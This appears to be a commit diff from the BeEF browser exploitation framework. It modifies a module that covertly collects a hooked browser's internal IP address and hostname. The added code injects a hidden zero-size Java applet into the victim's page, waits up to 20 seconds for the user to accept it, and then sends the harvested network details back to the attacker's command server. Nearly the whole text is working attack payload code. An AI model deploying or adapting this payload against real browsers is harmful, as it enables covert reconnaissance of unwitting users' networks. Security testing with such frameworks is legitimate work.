Addresses some of issue 135 - local settings are detected for chrome with user interaction to accept java
git-svn-id: https://beef.googlecode.com/svn/trunk@1062 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
@@ -14,12 +14,39 @@
|
||||
// limitations under the License.
|
||||
//
|
||||
beef.execute(function() {
|
||||
|
||||
var internal_ip = beef.net.local.getLocalAddress();
|
||||
var internal_hostname = beef.net.local.getLocalHostname();
|
||||
if (beef.browser.isFF()) {
|
||||
var internal_ip = beef.net.local.getLocalAddress();
|
||||
var internal_hostname = beef.net.local.getLocalHostname();
|
||||
|
||||
if(internal_ip && internal_hostname) {
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>,
|
||||
'internal_ip='+internal_ip+'&internal_hostname='+internal_hostname);
|
||||
if(internal_ip && internal_hostname) {
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>,
|
||||
'internal_ip='+internal_ip+'&internal_hostname='+internal_hostname);
|
||||
}
|
||||
} else {
|
||||
//Trying to insert the Beeffeine applet
|
||||
content = "<APPLET code='Beeffeine' codebase='/Beeffeine.class' width=0 height=0 id=beeffeine name=beeffeine></APPLET>";
|
||||
$j('body').append(content);
|
||||
internal_counter = 0;
|
||||
//We have to kick off a loop now, because the user has to accept the running of the applet perhaps
|
||||
|
||||
|
||||
function waituntilok() {
|
||||
try {
|
||||
output = document.beeffeine.MyIP();
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, output);
|
||||
$j('#beeffeine').detach();
|
||||
return;
|
||||
} catch (e) {
|
||||
internal_counter++;
|
||||
if (internal_counter > 20) { //Timeout after 20 seconds
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=time out');
|
||||
$j('#beeffeine').detach(); //kill the applet
|
||||
return;
|
||||
}
|
||||
setTimeout(function() {waituntilok()},1000);
|
||||
}
|
||||
}
|
||||
//Lets not kick this off just yet
|
||||
setTimeout(function() {waituntilok()},5000);
|
||||
}
|
||||
});
|
||||
|
||||
Reference in New Issue
Block a user